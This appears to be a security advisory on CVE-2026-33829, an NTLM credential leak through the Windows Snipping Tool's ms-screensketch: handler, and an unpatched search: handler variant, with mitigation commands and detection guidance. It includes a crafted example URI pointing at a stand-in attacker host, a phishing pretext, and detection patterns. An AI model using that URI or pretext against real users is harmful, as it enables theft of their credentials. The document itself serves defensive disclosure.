A patched vulnerability in the Windows Snipping Tool and a closely related unpatched issue in the Windows Search URI handler have brought renewed attention to a class of attack that is easy to underestimate: NTLM credential leakage through abused deep link protocols. Neither flaw grants a direct foothold on a target machine, but both can silently harvest authentication material from a user who clicks a single link; no malware download, no error message, no obvious sign that anything has gone wrong.
This article covers what CVE-2026-33829 is, how it works, the patching story, the unpatched sibling that Huntress disclosed in June 2026, and what your organisation should do about all of it.
Overview of the vulnerability
The Windows Snipping Tool is the built-in screenshot application that comes with Windows 11. It turns out that until April 2026, a flaw in that application could be exploited to quietly steal a user's Windows login credentials, specifically a cryptographic token called an NTLMv2 hash, without the user ever knowing it happened.
The attack requires no software installation. It works like this: an attacker sends an employee a link in an email, in a web page, or in a chat message. The employee clicks it. The Snipping Tool opens (which looks completely normal). Behind the scenes, Windows has automatically contacted a server the attacker controls and handed over the employee's credential token. The victim sees, at worst, a brief error message about a file being unavailable. Most of the time they see nothing at all.
With that credential token, an attacker may be able to impersonate the employee on other systems within the organisation; accessing internal resources, escalating privileges, or moving laterally through the network.
Microsoft patched this specific issue in its April 14, 2026 security update. However, security firm Huntress subsequently discovered that the exact same mechanism exists in Windows Explorer's Search function and reported it to Microsoft, which declined to fix it or assign it a CVE number.
What this means for your organisation:
- If your Windows systems received the April 2026 patch, then the Snipping Tool vulnerability is closed. Apply this patch if you have not already.
- The Search handler variant has no patch. Blocking outbound SMB connections at the firewall level is the most effective defence for both issues.
- This class of attack is commonly used in phishing campaigns. User awareness about unexpected link clicks matters here.
What is CVE-2026-33829?
CVE-2026-33829 is a spoofing and information disclosure vulnerability in the Windows Snipping Tool, classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). It carries a CVSS 3.1 score of 4.3, rated Moderate by Microsoft, and was patched in the April 14, 2026 Patch Tuesday release.
The vulnerability was discovered by security researcher Margaruga of the BlackArrow Red Team (Tarlogic). It exploits improper validation in the Snipping Tool's ms-screensketch deep link protocol.
The flaw was disclosed to Microsoft on March 23, 2026, patched on April 14, and a technical proof-of-concept was published by BlackArrowSec on April 15, 2026.
How it works
URI handlers and the ms-screensketch protocol
Windows uses URI handlers, special registered protocol schemes, to launch applications when a particular type of link is clicked. When you click a mailto: link, Windows opens your email client. When you click an ms-screensketch: link, Windows opens the Snipping Tool and passes it the parameters embedded in the link.
The Snipping Tool accepts a parameter called filePath in these links. The intended use is to open a local file for editing. The problem is that the Snipping Tool accepted this parameter without validating it, which meant it would also accept UNC paths, which are network addresses pointing to shared folders on remote servers.
The issue results from the lack of proper input validation of the URL before triggering the SMB connection. An attacker can leverage this vulnerability to disclose NTLM responses in the context of the current user. A crafted URI looks like this:
ms-screensketch:edit?&filePath=\\attacker.server\file.png&isTemporary=false&saved=true&source=Toast
What happens when a victim clicks
When Windows processes this URI, the Snipping Tool tries to open the specified file path. Because the path points to a remote server using the Universal Naming Convention (UNC), Windows initiates an SMB connection to that server. SMB is the Windows file-sharing protocol, and it uses NTLM authentication automatically; Windows essentially proves the user's identity to the remote server as part of establishing the connection.
An attacker running a tool such as Responder on their server captures this NTLM authentication exchange. The result is the victim's Net-NTLMv2 hash: a cryptographic token derived from the user's password that can be used for follow-on attacks.
The attack is especially crafty and efficient in practice because the Snipping Tool loads and the victim has no reason to think that something malicious is going on. The victim may see a brief "Windows cannot access the specified device, path, or file" error or nothing at all.
The social engineering angle
Since the Snipping Tool would actually open the remote resource, this vulnerability lends itself to realistic social engineering pretexts. For instance, asking a user to crop or edit a picture locally, such as a new corporate wallpaper or a badge photo. To increase credibility, an attacker could host a URL resembling a direct image link, which instead serves an HTML page that automatically triggers the deep link. The user would see the Snipping Tool open, consistent with the pretext, while the NTLM authentication occurs transparently in the background.
This is not a hypothetical concern. The attack requires no downloaded executable, no browser exploit, no administrator permission. It works against a standard user on a fully patched (pre-April 2026) Windows 11 system with Defender running at default settings.
What an attacker can do with a Net-NTLMv2 hash
A Net-NTLMv2 hash is not the user's password, but it is still operationally valuable. Attackers can use it in two main ways:
NTLM relay attacks. Rather than cracking the hash, the attacker forwards it to another service on the network that accepts NTLM authentication - an internal file server, Exchange, a web application - and authenticates as the victim without ever knowing the plaintext password. This works in real time and does not require the hash to be "cracked." It is how a single click by a low-privilege user can translate into access to internal systems.
Offline cracking. If the user's password is weak enough, the hash can be subjected to dictionary or brute-force attacks offline. Complex passwords resist this; shorter or common passwords do not.
In either case, the result can be lateral movement, access to sensitive data, or further privilege escalation depending on what resources the compromised account can reach.
The unpatched sibling: Windows Search URI handler
The CVE-2026-33829 story does not end with the April patch. On June 2, 2026, Huntress researcher Andrew Schwartz published a finding that puts the patching picture in a different light.
On April 14, 2026, Microsoft patched CVE-2026-33829, an NTLM credential leakage bug in the Windows Snipping Tool with a CVSS score of 4.3. The issue lived in the Snipping Tool's ms-screensketch: URI handler, which accepted a filePath parameter, didn't validate it, and would reach out to whatever UNC path was supplied. The day after that patch shipped, Schwartz reported the same underlying behavior in a different Windows URI handler: search: instead of ms-screensketch:, and crumb=location: instead of filePath.
The discovery was technically straightforward. Both the search: and search-ms: URI schemes, which launch Windows Explorer's search functionality, are registered to the same COM class — SearchExecute, implemented in ExplorerFrame.dll. When a UNC path is supplied via the crumb=location: parameter, the same SMB authentication chain fires, producing the same Net-NTLMv2 leak.
It used the same NTLM leakage mechanism, produced the same Net-NTLMv2 leak, had the same prerequisites, and carried the same Moderate rating. MSRC closed it as below the servicing bar. No CVE, no fix.
Microsoft's response
When Huntress asked Microsoft to explain the difference in treatment between the two bugs, the response was candid: "Typically, only Important and Critical severity cases meet our bar for servicing... Unfortunately, there are different factors that come in to play which sometimes causes exception to our standard processes."
When Huntress pointed out that CVE-2026-33829 itself was rated Moderate, the same severity as the Search handler bug, Microsoft confirmed it: "Yes, CVE-2026-33829 is marked as Moderate severity, which is why I mentioned that it is not our typical process to publish CVE's for anything but Important/Critical."
CVE-2026-33829 was the exception. The Search handler bug was not. Both are Moderate severity. Only one was fixed.
This is worth stating clearly: the Windows Search URI handler NTLM leakage has no patch and no assigned CVE. It affects Windows 11 23H2 and 25H2. The same credential leakage that was fixed in the Snipping Tool in April 2026 remains fully functional through the Search handler today.
This disclosure arrived during an active period of public discussion about Microsoft's vulnerability servicing decisions, and it is not the first time this specific class of bug has been left unaddressed. Varonis documented a crumb=location: UNC leakage primitive on search-ms: in 2024, which was also closed as Moderate.
Who is affected?
CVE-2026-33829 (Snipping Tool): All Windows 11 systems running versions prior to the April 14, 2026 patch are affected. Systems that have received the April 2026 cumulative update are no longer vulnerable through this specific path.
The Search URI handler variant: All Windows 11 systems, including those fully patched as of this writing, are affected. There is no patch available.
The attack surface for both issues is any Windows 11 user who can be induced to click a crafted link. Given that the Snipping Tool is used extensively across enterprise help desks, documentation workflows, and support processes - and that Windows Search is a component of every Windows desktop - the at-risk population is effectively every organisation running Windows.
Environments of particular concern:
- Organisations with rich internal network resources accessible via NTLM: where a relayed hash can translate into meaningful access to file servers, internal web applications, or email.
- Environments that have not disabled NTLM authentication: particularly those still running NTLM where Kerberos should be the default.
- Outbound SMB not blocked at the perimeter: the single most important control for this entire class of bug.
- Users regularly receiving links in email or chat: a phishing pretext around screenshot requests or shared documents is credible in most business contexts.
What should you do?
1. Apply the April 2026 Windows security update
For CVE-2026-33829, the patch is available and should be deployed without delay if it has not been already. On Windows 11, this is delivered through Windows Update or your enterprise patch management channel.
# Check current Windows Update installation status
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10
# Force update check via PowerShell
Start-Process "ms-settings:windowsupdate-action"
This closes the Snipping Tool path. It does not address the Search URI handler variant.
2. Block outbound SMB - the single most effective mitigation for the whole class
Blocking outbound SMB (TCP/445 and TCP/139) on hosts that don't need it is the single highest-value mitigation that kills the whole class. This prevents the authentication token from reaching the attacker's server regardless of which URI handler is used to trigger the connection.
Most workstations have no legitimate need to initiate outbound SMB connections to arbitrary internet hosts. Implement this at the perimeter firewall and, where possible, enforce it via host-based firewall policy:
# Block outbound SMB on Windows Firewall (run as administrator)
New-NetFirewallRule -DisplayName "Block Outbound SMB TCP 445" `
-Direction Outbound -Protocol TCP -RemotePort 445 `
-Action Block -Profile Any
New-NetFirewallRule -DisplayName "Block Outbound SMB TCP 139" `
-Direction Outbound -Protocol TCP -RemotePort 139 `
-Action Block -Profile Any
If your environment requires SMB for legitimate business purposes - such as for mapped drives, file shares, DFS - then scope this rule carefully to allow access only to known internal file server addresses, and deny everything else.
3. Enforce SMB signing
If an attacker captures a Net-NTLMv2 hash, SMB signing prevents it from being relayed against internal services. Without SMB signing, a captured hash can be forwarded to an internal server in real time, granting the attacker access without ever knowing the user's password.
# Require SMB signing on all connections (domain-joined systems via Group Policy is preferred)
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force
Set-SmbClientConfiguration -RequireSecuritySignature $true -Force
For domain environments, enforce this via Group Policy: Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options → "Microsoft network client: Digitally sign communications (always)".
4. Evaluate NTLM restrictions
Where Kerberos authentication is available, NTLM should be restricted or disabled. This removes the credential type these attacks rely on.
# Audit current NTLM usage before restricting
# Review Security event log for NTLM authentication events (Event ID 4624 with LogonType 3)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} |
Where-Object { $_.Message -match 'NTLM' } |
Select-Object -First 20 TimeCreated, Message
Restricting NTLM without auditing first will break things. Audit NTLM authentication traffic in your environment, identify what still requires it, migrate those services where possible, and then apply restrictions incrementally.
5. Add detection for search: and ms-screensketch: URI scheme usage
Alert on search: and search-ms: URIs in mail flow and proxy logs. Neither belongs in legitimate traffic. If you already alert on search-ms: in mail flow and proxy logs, add search: to the same rule now. The same logic applies to ms-screensketch:.
In Defender for Endpoint or your SIEM, watch for:
- Process creation events where
explorer.exeorSearchHost.exeis spawned with UNC paths as arguments. - Outbound SMB connections from user workstations to external or unexpected IP addresses.
- Net-NTLMv2 authentication events in the event log from unexpected source IPs.
# Example Sigma rule concept for ms-screensketch URI abuse
# Watch for SnippingTool.exe spawned with a UNC path parameter
# process.name: SnippingTool.exe
# process.command_line: *\\\\*
Detection
Unlike remote code execution or kernel-level privilege escalation, these credential leakage bugs do not produce noisy indicators. The victim's machine behaves normally. No crash, no error log, no process injection.
The indicators to watch for are on the network side:
Outbound SMB to unexpected destinations. An outbound connection on TCP/445 or TCP/139 from a workstation to a public internet address, or to an internal address not in your known file server inventory, is anomalous.
NTLMv2 authentication events. On domain controllers and servers, NTLM authentication from a source that doesn't normally use NTLM deserves investigation.
Unusual Snipping Tool or Explorer process activity. The process SnippingTool.exe initiating a network connection, or explorer.exe spawning search activity that includes UNC paths, is worth alerting on in environments that have endpoint telemetry.
# Check for recent unusual NTLM authentication events
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4776 # NTLM authentication attempt
StartTime=(Get-Date).AddDays(-7)
} | Select-Object TimeCreated, Message | Format-List
A note on the broader vulnerability class and Microsoft's servicing policy
The Huntress disclosure raises a practical question that security teams should address directly: if Microsoft's policy is that Moderate-severity vulnerabilities are typically not serviced, and if CVE-2026-33829 was an exception rather than the rule, then the question becomes 'how many comparable NTLM leakage primitives exist across Windows URI handlers that have been reported and closed without a fix or a CVE?'.
If your patch program triages by "did Microsoft issue a CVE," you patched the Snipping Tool in April and have zero visibility into this unpatched variant with the same impact. Whatever comes next in this class may not get a CVE either.
This does not mean the CVE ecosystem is broken or that Microsoft's process is wrong. It does mean that patching by CVE coverage alone leaves gaps and that network-level controls (blocking outbound SMB, enforcing SMB signing, restricting NTLM) provide more comprehensive protection than application-specific patches for this particular class of issue.
Summary
| CVE | CVE-2026-33829 |
| Type | Information Disclosure / Spoofing (NTLM credential leakage) |
| Component | Windows Snipping Tool — ms-screensketch: URI handler |
| CVSS Score | 4.3 (Moderate, v3.1) |
| Attack vector | Network — requires user interaction (single link click) |
| Discovered by | Margaruga, BlackArrow Red Team (Tarlogic) |
| Disclosed to Microsoft | March 23, 2026 |
| Patched | April 14, 2026 (April Patch Tuesday) |
| PoC published | April 15, 2026 (BlackArrowSec GitHub) |
| Related unpatched issue | Windows search: URI handler — same primitive, no CVE, no fix (Huntress, June 2, 2026) |
| Immediate mitigation | Block outbound SMB (TCP/445 and TCP/139); enforce SMB signing |
| Full fix (Snipping Tool) | Apply April 2026 Windows cumulative update |
| Full fix (Search handler) | No patch available |
| Post-exploitation potential | NTLM relay attacks; offline hash cracking; lateral movement |
The Snipping Tool vulnerability is patched. The Search handler variant is not, and Microsoft has stated it does not currently plan to address it. For both issues, the highest-value defensive action is the same: block outbound SMB on endpoints that don't need it, enforce SMB signing to neutralise relay attacks, and restrict NTLM where your environment permits.
If you need help auditing your outbound SMB posture, assessing your NTLM exposure, or deploying detection coverage for this class of attack across your Windows fleet, get in touch. A vulnerability that requires nothing more than a link click to harvest credentials is exactly the kind of low-complexity, high-value issue that deserves more than a one-time patch check.